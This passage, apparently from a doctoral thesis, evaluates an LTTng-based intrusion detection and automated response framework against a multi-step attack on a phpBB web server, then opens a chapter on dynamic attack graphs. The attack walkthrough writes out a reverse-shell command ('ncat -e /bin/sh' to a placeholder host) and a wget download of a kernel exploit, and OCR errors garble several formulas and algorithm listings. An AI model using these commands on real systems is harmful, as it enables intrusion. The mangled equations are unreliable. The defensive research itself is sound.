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18325 (/usr/bin/cc) is spawned by the ncat process (lines 25 and 26). The next alert is shell
executes cc. Lines 27 to 29 illustrate the ncat process, which spawns a process with PID 18330
to run the exploit program (LPE). The following alert is shell executes unknown program.
Line 30 shows that the LPE program executes a shell (/bin/sh). As mentioned earlier, this
exploit leverages three vulnerabilities (CVE-2010-4258, CVE-2010-3849, and CVE-2010-3850)
to obtain the root. Since this program is a sophisticated exploit in kernel mode which is
unknown to us, it enables the attacker to obtain the root privilege. This means that there
is nothing in the trace file to reveal the attacker’s footprints. The only footprint is the next
step, which shows that the attacker recently obtained the root privilege. The only alert
that can be raised at this stage is "unknown program executes shell”. As explained, in the
last phase of a multi-step attack, the attacker creates a new user on the target machine to
maintain a permanent root access. Lines 31 to 34 show that the shell related to the LPE has
spawned a process for adding a user. So, the next alert is "shell executes adduser”. The very
important point to note here is that the process with PID 18338 mentioned above opens the
file /etc/passwd and writes to it. So, the fact that the attacker has obtained the root privilege
means that he can now write to the /etc/passwd file as well. Finally, the last alert that can

be raised by the detection component is “shell is root”.

5.5.5 Model Parameters

Before starting to build our framework, we have to initialize some parameters :

— Offline processing parameters : In this model, linguistic variables are used to obtain
expert opinions on criterion weightings, and to rate alternatives with respect to various
criteria, the fuzzy equivalents of which are listed in Tables[5.4 and [5.5] Table [5.6] shows
the weight of each resource criterion in each zone, as illustrated in Figure [5.6, Table
shows the importance weighting the vulnerability criteria. As Tables Table
and illustrate, the experts use the linguistic rating variables to evaluate resources
and their related vulnerabilities with respect to their criteria. As mentioned, the next
steps involve constructing the fuzzy decision matrix and the fuzzy weighted normalized
decision matrix. Tables [5.§ and present the final results after the defuzzification
step.

— Online processing parameters : As seen in Table [5.12] our IDS produces eight alert
types for the attack scenario. We have used acceptable frequency values for the alert
type (7).

— Multi levels responses : For each resource or service, an ordered list of responses
has been considered, as Table [5.13] illustrates. The responses can be ordered in two
different ways : 1) High to low impact for the best prevention policy; and 2) Low to
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Figure 5.7 Trace abstraction file of a multi-step attack based on LTTng.
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high impact. The second policy is appropriate for taking into account user needs in
terms of quality of service (QoS). Usually, users have access to many services, and the
most important objective of all the organizations providing them is to ensure the highest
QoS possible. The responses have been ordered based on the second policy in this work.
R; 1 is a stronger response to an attack than R;, and means the earlier responses in the
sequence are weak, but later responses are strong. In some situations, a set of responses
can be applied instead of just one. For example, where ¥ = {R;, R;11}, ¥ incorporates
two responses, and consequently we not only close the malicious connection to the
current service, but also the connection of the current service to its dependent service(s).
The reason for this is that perhaps the intruder can exploit and compromise (through
vulnerabilities) a service on another host and we wish to preclude that possibility. The

ordered list consists of three types of response :

Instantly = {Ry, Ra, R3, R4}
Sustained reversible = {Rs, Rg, R7, R} (5.15)

Sustained irreversible = { Ro}

So, this list can be divided into three levels, each level having its own specification :
{l1,12,13}. At the first level, responses are applied instantaneously, and deactivation
occurs once the response has been activated. The main characteristic of a second level
response is sustainability, and this type of response can be deactivated after a time. A

third level response is also sustained, but it is not reversible.

5.5.6 Simulation Results

Figure illustrates the alert strength generated by the IDS. The first alert is related
to the probing step, and is relatively weak. In total, eleven alerts (Table are generated
for the attack scenario. As shown in Figure [5.8a] the first two alerts are not as strong as
the others. Figure [5.8b|shows the alert frequency vs. the number of alerts per resource. The
more alerts there are in a resource, the more the attacker attempts to compromise the target
resource. We consider the number of instances for each alert that are acceptable on a daily
basis, which is 10 for the "web_application_scan” alert type in Table [5.12] It is obvious that
this number reflects the lower priority of this alert compared to that of others. Since this alert
may be generated once the administrator has used the Web scanning tool to identify Web
service vulnerabilities, the acceptable number of instances of this alert is assumed to be high.
So, the first three alert frequencies are 0.1, 0.2, and 0.3 respectively. The other alert has a
frequency of occurrence of one. Once the “shell executes unknown program”is generated, T

will be 6.6 +1 = 7.6. If we take a look at the fuzzy membership function of the number of
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alerts per resource, we realize that the 7.6 value is in the high range. Figure |5.8¢| illustrates
the result of the threat effect, which varies between 0 and 0.83.

The tenth alert, which is “shell executes unknown program” has a (.83 threat effect, which
is the highest if we compare it with the related defuzzification membership function. This
program is a sophisticated exploit in kernel mode, and we do not know how the attacker
obtains the root privilege by running this program. As mentioned, there is nothing in the
trace file to reveal the attacker’s footprints. The interesting point to note is that the threat
effect reaches its highest value when the IDS generates this alert.

Figure illustrates the risk impact result without any response being applied. As
mentioned, the total risk impact grows incrementally. This multi-step attack takes about 16
minutes and has five phases. The approximate time periods of all the steps conducted by the
intruder can be readily seen : 0-490 sec. (Phase 1), 670-676 sec. (Phase 2), 715 sec. (Phase
3), 730-845 sec. (Phase 4), and 930-932 sec. (Phase 5). As seen in Table [5.14] the highest risk
impact progress is related to the “shell executes unknown program”at 840 s, which is about
Rlyerts — Rlgjery = 4.58 — 3.76 = 0.82.

As mentioned, there is a sorted responses list created using a layered concept. The first
layer includes the one-shot responses and the next layers become sustainable gradually. The
basic idea is to maintain user access to the services as much as possible. Once the attack is
underway and has not been stopped, and there is no appropriate one-shot response that can
repel it, the second layer responses, Sustained Reversible, are used. At the same time, the
power of responses grows over time, and obviously their impact grows as well. Because of
the history of the responses (Goodness), we apply one or two responses at the reaction time.
Figure shows a multi-step attack scenario and the response system reactions. In this case,
the attacker starts Web server scanning to identify the service characteristics. The detection
component generates three alerts related to "web server scanning”, once the scanning tool
has established a number of connections. The computed risk impact values for these three
alerts are 0.19, 0.24, and 0.24 respectively. So, the risk impact for each type of alert grows
incrementally. Then, the attacker runs the ./phpBBCodeExecExploitRUSH.pl 192.168.10.2
/phpBB2/ 1 "ncat -e /bin/sh x.x.x.x 9999” command by exploiting the remote script injection
vulnerability to create a reverse shell. Four alerts are generated by the IDS for this phase. By
evaluating the second alert of this phase, that is, "ncat by Apache”, we see that the total risk
impact exceeds the 1.3 > T, threshold. Right at this moment, the first one-shot response, that
is, the R_CLOSE_A_NET_CONNECTION, is applied. This response eliminates the reverse shell. As
seen in Figure two other alerts are generated for this command. Since all four alerts are
related to a command, the time interval between generating them is very, very short. All of

them are related to a host, and, after analyzing the total risk impact of the second alert and



102

10 T T T T T T
without response —<—

with response >

Risk Impact

I

0 200 400 600 800 1000 1200 1400
Time (seconds)

Figure 5.9 Risk impact tolerance with respect to the applied responses for each dangerous
attempt vs. a non reactive system.

finding that it has passed the threshold, we ignore the rest.

As mentioned earlier, after applying a response, we have to indicate the new risk level
that is under the threshold and is based on the response Goodness. Since there is no response
history, ¢ is 0.5, based on Eq. [5.13] Then, the attacker runs the ncat command again, hoping
that it will work this time. Only by the IDS generating the "apache executes shell” alert does
the total risk impact pass the threshold again. The next response is the R_KILL_PROCESS,
which kills the spawned process. The new ¢ is 0.5 as well.

The attacker then leaves to achieving user friendly access to the system and tries to
perform the next step, which is to download an exploit using wget from his machine. Then,
he runs ./phpBBCodeExecExploitRUSH.pl 192.168.10.2 /phpBB2/ 1 "wget x.x.x.x/LPE.c
-O /tmp/LPE.c”. If he skips the second phase and runs the third phase directly, two alerts
are again generated by the IDS : 1) "apache executes shell”, and 2) "shell executes wget”.
Again, the risk impact for the first alert of this step is 0.53 and the total risk impact exceeds
the threshold again. The response system selects the R_RESTART _DAEMON to repel the attack.
The new ¢ is 0.5 as well.

The intruder achieved his first goal, which was to upload an exploit on target machine. In
the fourth phase, his first task is to compile the program in the target machine. In the next

round, in which "apache executes shell” is introduced, the R_RESET (machine) is selected. After
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a while, the Web server will be ready to respond to requests, and the response system will have
applied the first layer of responses (one shot) so far. The goal of the response system is to apply
a low impact response to ensure that user needs continue to be met in terms of QoS. Since files
generally get deleted from the /tmp folder after the system reboots, the attacker attempts
to run the wget command again, and this time the R_NOT_ALLOWED_HOST (attacker_IP)
response is applied. This is the first Sustained Reversible response from the second layer.
The intruder will realize that his IP address has been blocked and he must change to another
IP. As mentioned, since there is no history for the response, ¢ will be 0.5. If the intruder
changes his IP and repeats the fourth phase, which involves compiling the program in the
target machine, the response system will apply the R_BLOCK_RECEIVER_PORT response. This
prevents the intruder from running any commands at all.

Let us review the deactivation mechanism. Table illustrates the status of the response
system component for the attack scenario. When the first response of the second layer of
responses is applied (R_NOT_ALLOWED_HOST (attacker_IP)), the risk impact value has passed
the threshold for the fifth time. The important point to note is that only two types of alert
cause result in deactivation : 1) "ncat by Apache”, and 2) "apache executes shell”. So, A is
still equal to 2 and the global lifetime will be Round(e?/2)(h) = 4h. This means that the
intruder’s IP will be blocked for 4 hours. When, the R_BLOCK_RECEIVER_PORT response is
applied, A is still equal to 2, since the type of alert has not changed. So, the new global
lifetime is 4 hours as well.

When it comes time to deactivate response R;, we compare the response grant value
(rGrant) With the global grant (§), which are 1 and 6 respectively. This response takes into
account that a stronger response has been applied subsequently, and that it has to wait based
on the global lifetime, that is (¢ + 4) — (6 + 1). Since this response could not counter the
attack, its F' value has to increase by 1. When the lifetime of response Rg is about to expire,
response Ry is deactivated at that time as well. So, after / hours, the Apache Web server
listens on port 80 (http) and port 443 (https). Since the attacker has repeated the attack
scenario with the new IP after 7 minutes and 30 s, after 5 :07 :30, the first IP becomes
unblocked.

The next question that comes to mind is how the response system will react if this multi-
step attack occurs after a time lapse. Let us consider a very sophisticated scenario that is
based on the first scenario. The attacker who uses the first scenario has perfect knowledge
of the probing phase. In this scenario, he does not run the first and second phases, because
they cause the risk impact to increase. This scenario has three phases : 1) Phase 1 (Upload
exploit) ; 2) Phase 2 (Exploit linux kernel 2.6.37 to get root) ; and 3) Phase 3 (Create user).

When the attacker runs the wget command, the second alert related to this phase causes the
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Figure 5.10 Risk impact tolerance with respect to the applied responses for the second sce-
nario.

risk impact to exceed the threshold, as Figure 10 illustrates. Right at this moment, the first
one-shot response, which is R_CLOSE_A_NET_CONNECTION, is applied. This response eliminates
the wget shell. Since there is a history for this response (F=1), ¢ is 0.75 based on Eq. [5.13]
The attacker could upload the exploit, so in the next phase he runs the compile command.
The "apache executes shell” alert causes the risk impact to exceed the threshold (0.75 +
0.53). The next response is R_KILL_PROCESS, which kills the spawned process. The new ¢ is
also 0.75 (see Table . The attacker could compile the program, and subsequently runs
the exploit to be root. The "ncat executes shell” alert causes the risk impact to exceed the
threshold again. The response system selects R_RESTART _DAEMON to repel the attack, and this
causes the attacker’s attempt to fail. The attacker has no option but to run exploit command
again, when, after a while, the Apache service is ready. The next time the "apache executes

shell” alert is raised, R_RESET (machine)” is selected and the exploit is removed from /tmp.

5.5.7 Performance of our framework in real-time

The important question with regard to our framework is, given the cost of tracing, abs-
traction and correlation, and risk assessment processing, can it be applied in real-time to
counter an attack at the right moment ? As seen in Figure [5.11] we denote as t; the times-

tamp of the last attack operation extracted from the LTTng kernel trace events, and as tg;
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the time at which our framework detects the attack i. The reaction delay time for repelling

the attack is then calculated as follows :

Stepl Step2 Step3 Step4 Step5
alertl alertl alertl alert2,3,4,5 alert6 alert7 alert8,9 alert10,11
| [1] ,,.-if ® 'rf If If If >
tl= Scanning 7 12= ncat t3=wget td=cc t5=LPE t6= addUser
alert2,3,4,5

[At(detection) %’isk) t(decision) i t(response) .‘|

| : : : H | )

ts ta2  tr2 tdec2 tres2 t3

t(step)=t3 - t2

Figure 5.11 Alert generation status in each step with respect to the commands executed.

At(detection); = tg; — t;
reaction_delay(i) = At(detection);+ (5.16)
t(risk); + t(decision); + t(response);

At(detection) is the cost of generating trace events and analyzing them (i.e. reading events
and pattern matching). With respect to the complexity of the patterns that our framework
uses, At(detection) takes between 50 ms and 100 ms for this multi-step attack scenario. At
the same time, it illustrates that LTTng has very low impact [98] in terms of detecting and
generating an alert. The next time delay is ¢(risk), which is related to risk assessment proces-
sing. Our algorithm takes less than 6 ms to assess risk. The time required to decide whether
or not the result of the assessing the loss value by means of the risk assessment component is
significant is ¢(decision). If it is, the multi-level response selection mechanism has to find ap-
propriate response(s) and set the response attributes. The decision is made in less than 5 ms.
So, the reaction_delay(i) ~ t(response); depends on the type of response, and t(step); de-
notes the difference between steps ¢ and -1 of the multi-step attack. It is clear that ¢(step); 1
must be less than the reaction_delay(i). As seen in Figure and mentioned in the simula-
tion results section, the response to repel the attack is "R_CLOSE_A_NET_CONNECTION?”.
In our scenario, t(step)s is 39 s, which means that we have 39 s in which to apply a response
and stop the progress of the attack. Based on our experimental results, the reaction_delay(2)

takes 81 ms. As we can see, the measurements illustrate that our framework is very quick
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to decide and prepare response(s) to counter an attack when the attack is real, and it is, in

fact, fast enough to stop the attack in real-time.

5.5.8 Discussion

In this section, we play the role of an attacker who later works with the system and
eventually becomes aware of response systems and may wish to weaken them by launching
false attacks to impact to their advantage the value of some parameters. If we carefully verify
the proposed model, we realize that ¢ has a critical role to play in applying the next round
of responses for controlling a multi-step attack. If the value of ¢ is increased inappropriately,
or, alternatively, if the risk level reduction is high after a set of responses has been applied,
it is clear that the next round of responses will be applied late, because we will have been
late reaching the threshold of risk. We must then ask how the attacker can calculate ¢
effectively. As mentioned, this calculation is strongly dependent on the Goodness of the
applied responses. The only way to bypass the response system is to increase G in the wrong

way.

Lemma 1. The Goodness of response R(i + 1) is always greater than that of R(i) in a
multi-level response selection model : Yi, R(i + 1)Goodness > R(1)Goodness- In other words, if

we denote as T gy the next risk level after applying response i, then Vi, Triy1) < Trgu or

Vi, OR(i+1) > PR()-

Proof. The attacker has two ways of repeating the multi-step attack : (i) Repeat the
execution of the steps of the attack as closely as possible, even repeating some steps in order
to elicit a particular response (R(k)) (see Figure [5.12a). Then, we wait for the deactivation
time of the response R(k) to elapse. In this way, the G value of R(k) increases (R(k)success++ ),
although that of all the responses before R(K) in the ordered list will decrease (R(k) faituret+)-
As long as we remember the Goodness formula (Eq. , it does not matter whether this
is done several times or only once. The G value of R(k) is 1, and that of all the responses
before it is -1. S0, R(k)Goodness > R(k — 1)Goodness > - > R(1)Goodness- 1t 18 very interesting
to note that, in designing a Goodness formula, even though we have numerous successes for
a response in the current window, the best G value in this case is 1. As we know, the best G
value is 2, and this is achieved when we not only have success values in the current window,
but also in all previous windows. So, in order to obtain a value of 2, a response has to have
a history of success, which means that T gy = 0.25 and Tg(). gr-1) = 0.75. (ii) Run the
attack steps until a response stops our attack. Then, we wait for the deactivation time of
the response to elapse (that is exactly what the attacker does in this paper, although he

does not wait for this length of time). This causes the response success to rise. As Figure
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illustrates, following deactivation, we run the attack steps until the second response is
applied. If the response R(K) is the best response for preventing the attack, the Goodness

of all the responses from the first response to R(K) after n iterations is calculated as :

1<i<k

i<n (5.17)
. 1—(n—1

R(Z)goodness = 1+En—i§

In this way, T g = 0.25 for the last response as well. So, either way, the best value from
the attacker’s point of view is 0.25. The only option for the attacker is to run exploit, and for
the total risk impact not to pass the threshold. Let us review what happens if the attacker
runs exploit with the risk impact starting from 0.25 : the first alert is "Apache ezxecutes
shell” and the total risk impact is 0.25 + 0.53= 0.78. The second alert is “shell erecutes
unknown program”, and it causes the total risk impact to exceed the threshold. No matter

what response is applied, the shell is not available to run the add user command. []

5.6 Conclusion

The Linux Trace Toolkit next generation (LTTng) is a powerful software tool that provides
a detailed execution trace of the Linux operating system with a low impact on performance.
Using traces, LTTng records computer activities as seen by the kernel, and eventually the
user space applications if they are instrumented with UST. The aim of this paper is to intro-
duce a novel framework for automated intrusion response systems. In our model, unnecessary
responses are controlled by a risk impact assessment and the response time. Perfect coordina-
tion between the risk assessment mechanism and the response system in the proposed model
has led to an efficient framework that is able to : (1) manage risk reduction issues; (2) cal-
culate the response Goodness; and (3) perform response activation and deactivation based
on factors that have rarely been seen in previous models involving this kind of cooperation.
To demonstrate the efficiency and feasibility of using the proposed model in real production
environments, a sophisticated attack exploiting a combination of vulnerabilities to compro-
mise a target machine was implemented. The monitoring added minimal overhead, and the
detection and countermeasure responses were generated quickly enough to stop the attack

from progressing.
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109

ALGORITHM 2: Response activation

Require: 7 : new alert

Require: RI, : previous risk impact

Require: RI, : new risk impact

Require: T, : threshold for activating a response

Require: 6 : global lifetime

Require: A : number of times a risk impact exceeds the threshold with a different alert

type

1. if RI, + RI, > T, then

2:  if n.type € 1] ] then

3: I[].add(n.type)

4: A+ +

5. end if

6: E=E6+1

7. R = ResponseCoordinator ()
8 G=0

99 n=0

10: c=1

11:  for eachr € R do

12: rsr = CurrentTime()
13: 0 = ROUND(e?/2)(H)
14: rpy =0

15: TGrant = 5

16: TGrouped = C

17: c+ +

18: RunPlans(r)

19: G = G + rGoodness
20: n—+ +
21:  end for .
222 RI,=% — (g—to * Tu)
23: else

24:  RI,= RI,+ RI,
25: end if
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ALGORITHM 3: Response coordinator

Require: ¢ : Global grant
Require: x : Ordered list of responses
if Zi=f0¢ 05 then
v =2
else
=1
end if
if £ =0 then
pos =1
end if
R = GetResponse(x, pos, V)
pos = pos + ¥
: return R

— =
= O

ALGORITHM 4: Response deactivation

Require: 6 : Global life time
Require: RI, : previous risk impact
1: if rgrane = € then

2:  if Rpype = SustainedReversible then
3: —r.apply

4: end if

5: if T'Grouped = 1 then

6: if r.goodnessAnalysis = False then
7 r.success + +

8: end if

9: é - —

10: if £ =0 then

11: A=0

12: pr =0

13: end if

14:  end if

15: else

16:  if rgrene < € then

17: r.failure + +

18: r.goodnessAnalysis = True

19: rsr = CurrentTime()
20: rLT, = 0
21:  end if

22: end if
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Table 5.4 Linguistic variables and fuzzy equivalents for the importance weighting of each
criterion

Linguistic variables

Very low (VL)
Low (L)

Fuzzy triangular

0, 0,00
(0, 0.1, 0.3)
Medium low (ML) (0.1, 0.3, 0.5)
Medium (M) (0.3, 0.5, 0.7)
Medium high (MH) (0.5, 0.7, 0.9)
( )
( )

High (H) 0.7, 0.9, 1.0
Very high (VH) 0.9, 1.0, 1.0

Table 5.5 Linguistic variables and fuzzy numbers for the criterion ratings

Linguistic variables  Fuzzy triangular

Very Poor (VP) (0,0, 1)
Poor (P) 0,1, 3)
Medium Poor (MP) (1, 3, 5)
Fair (F) (3,5, 7)
Medium Good (MG) (5,7,9)
Good (G) (7,9, 10)
Very Good (VG) (9, 10, 10)

Table 5.6 Importance weightings of the criteria in each zone

External DMZ General Subnet Accounting Subnet | Production Subnet | Accounting Desktop Subnet | Production Desktop Subnet

DM1 DM2 DM3 | DM1 DM2 DM3 | DM1 DM2 DM3 | DM1 DM2 DM3 | DM1 DM2 DM3 DM1 DM2 DM3
C1 : Confidentiality | VH H VH H MH MH | VH VH H L ML L M MH M L L L
C2 : Integrity VH H VH H MH H VH VH H ML ML L M MH M L L L
C3 : Availability VH VH H MH MH MH L ML L H VH VH L L L H VH VH

Table 5.7 Ratings of all resources by decision makers under criteria

Confidentiality ‘ Integrity Availability
Resource DM1 DM2 DM3 ‘ DM1 DM2 DM3 | DM1 DM2 DM3
1 DMZ.DB G VG G G VG G F MG F
2 DMZ.Web MP F MP P MP P F F F
3 DMZFTP MP F F P MP MP P MP MP
4 DMZ.Mail F MG F MP F F MP F F
5 DMZ.LDAP | VG VG VG VG VG VG VG VG VG
6 DMZ.DNS VP P P F MG F G VG G
Table 5.8 Resource values
Confidentiality Integrity Availability ~ Fuzzification Value Defuzzification Value
1 DMZ.DB (0.75,0.91,0.98)  (0.70,0.85,0.91) (0.34,0.53,0.72) (1.79,2.29,2.61) 2.24
2 DMZ.Web (0.16,0.36,0.56)  (0.03,0.15,0.33)  (0.28,0.47,0.66) (0.47,0.98,1.55) 1
3 DMZFTP  (0.23,0.42,0.62) (0.06,0.21,0.39) (0.06,0.22,0.41) (0.35,0.85,1.42) 0.87
4 DMZ.Mail  (0.36,0.56,0.75) (0.21,0.39,0.58) (0.22,0.41,0.06) (0.79,1.36,1.93) 1.36
5 DMZ.LDAP (0.88,0.98,0.98) (0.82,0.91,0.91) (0.85,0.94,0.94) (2.55,2.83,2.83) 2.76
6 DMZ.DNS  (0.00,0.07,0.23) (0.33,0.52,0.7) (0.72,0.88,0.94) (1.05,1.47,1.87) 1.46




Table 5.9 Importance weightings of the vulnerability criteria

‘DMI DM2 DM3

C1 : Threat Capability | VH
C2 : Control Strength VH

VH VH
VH VH
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Table 5.10 Ratings of all resource vulnerabilities by decision makers under criteria

Threat Capability

Control Strength

Resource DM1 DM2 DM3 | DM1 DM2 DM3
1 DMZ.DB MP F F P MP P
2 DMZ.Web vG VG VG | VP VP VP
3 DMZFTP MP MP P MP MP P
4 DMZ.Mail G VG G MP F F
5 DMZLDAP| VP VP VP | VG VG VG
6 DMZ.DNS F MP  MP F MG F

Table 5.11 Resource vulnerability values

Threat Capability Control Strength Defuzzification Defuzzification Vulnerability

TC Value CS Value Effect

1 DMZ.DB (0.23,0.42,0.62) (0.03,0.16,0.36) 0.42 0.18 2.38

2 DMZ.Web (0.88,0.98,0.98) (0.00,0.00,0.10) 0.96 0.02 38.2

3 DMZFTP  (0.07,0.23,0.42)  (0.07,0.23,0.42) 0.24 0.24 1

4 DMZ.Mail (0.75,0.91,0.98) (0.23,0.42,0.62) 0.89 0.42 2.1

5 DMZ.LDAP  (0.00,0.00,0.10) (0.88,0.98,0.98) 0.02 0.96 0.03

6 DMZ.DNS (0.16,0.36,0.56) (0.36,0.56,0.75) 0.36 0.56 0.65

Table 5.12 Alert list for the attack scenario

S

Alert Name

Acceptable Frequency

== O 00 O Uk W

= O

shell_is_root

web_application_scan
apache_executes_shell
ncat_by_Apache
ncat_connects_to_remote_host
ncat_executes_shell
shell_executes_wget
shell_executes_cc

shell executes_unknown_program
unknown_program_executes_shell
shell_executes_adduser

—_
o

= o b = e e e e e




Table 5.13 Ordered list of responses

Rank Name

R_CLOSE_A_NET_CONNECTION
R_KILL_PROCESS
R_RESTART_DAEMON
R_RESET(machine)

R_NOT_ALLOWED_HOST (attacker_IP)
R_BLOCK_RECEIVER_PORT
R_DISABLE_DAEMON
R_ISOLATE_HOST

QOI00 1 O U= W N —

R_SHUTDOWN (machine)
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Table 5.14 Risk impact tolerance for the multi-step attack scenario without response

Time(s) Total Risk Impact Difference

Step 1

Alert 1 186 0.19 0.19

Alert 1 320 0.24 0.05

Alert 1 490 0.24 0.0
Step 2

Alert 2 670 0.77 0.53

Alert 3 672 1.30 0.53

Alert 4 674 1.82 0.52

Alert 5 676 2.36 0.54
Step 3

Alert 6 715 2.95 0.59
Step 4

Alert 7 730 3.76 0.81

Alert 8 840 4.58 0.82

Alert 9 845 5.40 0.82
Step 5

Alert 10 930 6.21 0.81

Alert 11 932 7.03 0.82

Table 5.15 Response system status for the attack scenario

Response Tgrane & A firstrpr 0 Second 71 Rguccess  Rpaiture
R_CLOSE_A_NET_CONNECTION 1 11 t1+1 t1+1 (t¢ +4)-(t1 +1) 0 1
R_KILL_PROCESS 2 2 2 ty+4 ty +4 (t(j + 4)—(t2 + 4) 0 1
R_RESTART_DAEMON 3 3 2 t3+4 ts +4 (te +4)-(t3 +4) 0 1
R_RESET(machine) 4 4 2 ty+4 ty+4 (te+4)-(Ets+4) O 1
R_NOT_ALLOWED_HOST (attacker_IP) 5 5 2 ty+4 ts +4 (t¢ +4)-(ts +4) 0 1
R_BLOCK_RECEIVER_PORT 6 6 2 tg+4 te +4 0 1 0
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CHAPTER 6

Paper 4 : ONIRA : Online intrusion risk assessment of distributed traces using

dynamic attack graph

ALIREZA SHAMELI-SENDI AND MICHEL DAGENAIS

6.1 Abstract

Attack graphs illustrate ways in which an attacker can exploit the chain of vulnerabilities
to break into a system. The proposed approach, called ONIRA, is a dynamic attack graph
built from kernel-level traces that is attuned to the attacker’s behavior and leads to the
rapid detection of threats. The main contribution of this work is to combine the Attack
Graph and Service Dependency Graph approaches to calculate the cost of an attack and to
accurately react to an attack. When the progress of an attack reaches a danger state in the
attack graph, we calculate the real impact of the attack using the attack graph and service
dependency graph. We extend the LAMBDA language with two features : intruder knowledge
level and effect on the CIA. The dependency graph approach goes beyond existing models
by computing the attack cost based on three concepts : direct impact, forward impact, and
backward impact. The effectiveness of the approach is demonstrated on a sophisticated multi-
step attack to penetrate Web servers, as well as to acquire root privilege. Our framework is
based on the Linux Trace Toolkit next generation (LTTng) tracer. Our results illustrate the

efficiency of the proposed model and confirm the feasibility of the approach in real-time.

6.2 Introduction

We are now seeing sophisticated attacks exploiting a combination, or chain, of vulnera-
bilities in an effort to compromise a target machine [99, [100] [L0I]. That chain may involve
services on the same machine or on different machines. The complexity of the attack makes
accurate risk computation challenging. The results of a risk assessment are very important,
in terms of minimizing the performance cost of applying high impact responses, as a low
impact response is enough to mitigate a weak attack.

The attack graph is a highly useful model that shows all the attack paths into networks,
based on service vulnerabilities [100, [102]. It not only correlates the Intrusion Detection
System (IDS) [103] [104] outputs, but also helps Intrusion Response Systems (IRSs) to apply
responses in a timely fashion, at the right place, and with the appropriate intensity [52] [107].
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To apply responses at the right place and considering network QoS, it is critical to measure
the impact of sophisticated attacks that combine multiple vulnerabilities designed to compro-
mise the target service. Many real-time risk assessment models have been proposed during
the last decade. As illustrated in Figure the proposed risk assessment approaches can be
classified into three main categories : (i) Attack Graph-based : These behavior-based attack
graphs not only help to identify attacks, but also to quantitatively analyze their impact on
all the critical services in the network, based on attacker behavior and a set of vulnerabilities
that can be exploited [52, 105, [107]; (i) Service Dependency Graph-based : Three properties
are defined for each service : C(S), I(S), and A(S), which denote the confidentiality, integrity,
and availability of service (S) respectively. Users are dependent on the availability of a service
or services to perform their activities. The impact of the attack on a service is propagated to
other services based on the type of dependency. In this type of approach, the attack graph is
not used to evaluate attack cost [50]; (ii) Non Graph-based : Risk assessment is carried out
independently of the attack detected by the IDS. This means that the IDS detects an attack
and sends an alert to the risk assessment component, which performs a risk analysis based
on alert statistics and other information provided in the alert(s) [34] 49, 93] 106].

The paper is organized as follows : first, we investigate earlier work and several exis-
ting methods for real-time risk assessment. The proposed model is discussed in Section III.

Experimental results are presented in Section IV. Section V concludes the paper.

6.3 Related Work

Non Graph-based Approaches : In [49)], Arnes et al. presented a real-time risk as-
sessment method for information systems and networks, based on observations from network
sensors (IDSs). The proposed model is a multi-agent system where each agent observes ob-
jects in a network using sensors. An object is any kind of asset in the network that is valuable
in terms of security. To perform dynamic risk assessment with this approach, discrete-time
Markov chains are used. In other words, for each object, a Hidden Markov Model (HMM) is
considered and the HMM states illustrate the security state, which changes over time. The

.................................................

i Real-time Risk Assessment

v v

Service Dependecny
Graph-based

Attack Graph-based Non Graph-based

Figure 6.1 Real-time Risk Assessment Taxonomy.
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proposed states are : Good, Attacked, and Compromised. The compromised state indicates
that the host has been compromised and may result in loss of confidentiality, integrity, and
availability. Thus, each object in the network can be in a different state at any time. In their
model, it is assumed that there is no relationship between objects, and that all the HHM
are working separately. A static cost, C;, is allocated to each state, S;. So, the total risk for
each object at time ¢ can be calculated as : Ry = > | %(i)C(i). The (i) value gives the
probability that the object is in state S; at time t.

Gehani et al. [93] presented a real-time risk management model, called RheoStat. This
model dynamically alters the exposure of a host to contain an intrusion when it occurs.
A host’s exposure consists of the exposure of all its services. To analyze a system’s risk, a
combination of three factors is considered : 1) the likelihood of occurrence of an attack; 2)
the impact on assets, that is, the loss of confidentiality, integrity, and availability ; and 3) the
vulnerability’s exposure, which is managed by safeguards.

Haslum et al. [I06] proposed a fuzzy model for online risk assessment in networks. Hu-
man experts rely on their experience and judgment to estimate risk based on a number of
dependent variables. Fuzzy logic is applied to capture and automate this process. The know-
ledge of security and risk experts is embedded in rules for a fuzzy automatic inference system.
The main contribution of their paper is the fuzzy logic controllers. These were developed to
quantify the various risks based on a number of variables derived from the inputs of various
components. The fuzzy model is used to model threat level, vulnerability effect, and asset
value. Threat level (FLC-T) is modeled using three linguistic variables : Intrusion frequency,
Probability of threat success, and Severity. The HMM module used for predicting attacks
provides an estimate of intrusion frequency. The asset value (FLC-A) is derived from three
other linguistic variables : Cost, Criticality, Sensitivity, and Recovery. In addition, the Vulne-
rability effect (FLC-V) has been modeled as a derived variable from Threat Resistance and
Threat Capability. Eventually, the risk is estimated based on the output of the three fuzzy
logic controllers FLC-T, FLC-A, and FLC-V.

In [34], an online risk assessment model based on D-S evidence theory is presented. D-S
evidence theory is a method for solving a complex problem where the evidence is uncertain
or incomplete. The proposed model consists of two steps, which identify : Risk Index and
Risk Distribution. In the first step, the risk index has to be calculated. The risk index is the
probability that a malicious activity is a true attack and can achieve its mission successfully.
In D-S evidence theory, five factors are used to calculate the risk index : Number of alerts,
Alert Confidence, Alert Type, Alert Severity, and Alert Relevance Score. Risk distribution
is the real evaluation of risk with respect to the value of the target host, and can be low,

medium, or high. The risk distribution has two inputs : the risk index, and the value of the
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target host. The latter depends on all the services it provides.

Attack Graph-based Approaches : Kanoun et al. [I07] presented a risk assessment
model based on attack graphs to evaluate the severity of the total risk of the monitored
system. The LAMBDA [6] language is used to model attack graphs when an attack is detected,
and the associated attack graph is generated based on the LAMBDA language. When an
attack graph is obtained, the risk gravity model begins to compute the risk, which is a
combination of two major factors : (i) Potentiality, which measures the probability of a given
scenario taking place and successfully achieving its objective. Evaluating this factor is based
on calculating its minor factors : natural exposition, and dissuasive measures. The first of
these minor factors measures the natural exposure of the target system facing the detected
attack. To reduce the probability of an attack progressing, the second minor factor, dissuasive
measures, can be enforced. (ii) Impact, which is defined as a vector with three cells that
correspond to the three fundamental security principles : Availability, Confidentiality, and
Integrity. The interesting point with this model is that the impact parameters are calculated
dynamically. That impact depends on the importance of the target assets, as well as the
impact of the level of reduction measures deployed on the system to reduce and limit the
impact, when the attack is successful.

Jahnke et al. [52] present a graph-based approach for modeling the effects of attacks
against services, and the effects of the response measures taken in reaction to those attacks.
The proposed model considers different kinds of dependencies between services, and derives
quantitative differences between system states from these graphs.

Service Dependency Graph-based Approaches : Kheir et al. [50] propose a depen-
dency graph to evaluate the confidentiality and integrity impacts, as well as the availability
impact. The confidentiality and integrity criteria are not considered in [52]. In [50], the im-
pact propagation process proposed by Jahnke et al. is extended to include these impacts.
Now, each service in the dependency graph is described with a 3D CIA vector, the values of
which are subsequently updated, either by actively monitoring estimation or by extrapolation
using the dependency graph. In the proposed model, dependencies are classified as structural
